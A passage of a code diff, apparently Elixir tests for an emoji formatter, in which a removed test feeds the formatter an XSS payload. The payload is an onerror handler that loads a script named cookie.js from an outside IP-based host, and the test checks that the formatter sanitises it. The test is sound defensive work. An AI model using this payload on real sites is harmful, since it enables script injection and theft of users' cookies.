document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):" - - custom_emoji = %{ - "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" => - "https://placehold.it/1x1" - } - - expected_result = - "I love \"\"" - - assert Formatter.emojify(text, custom_emoji) == expected_result - end - - test "it returns the emoji used in the text" do - text = "I love :firefox:" - - assert Formatter.get_emoji(text) == [ - {"firefox", "/emoji/Firefox.gif", ["Gif", "Fun"]} - ] - end - - test "it returns a nice empty result when no emojis are present" do - text = "I love moominamma" - assert Formatter.get_emoji(text) == [] - end - - test "it doesn't die when text is absent" do - text = nil - assert Formatter.get_emoji(text) == [] - end - test "it escapes HTML in plain text" do text = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1" expected = "hello & world google.com/?a=b&c=d \n http://test.com/?a=b&c=d 1"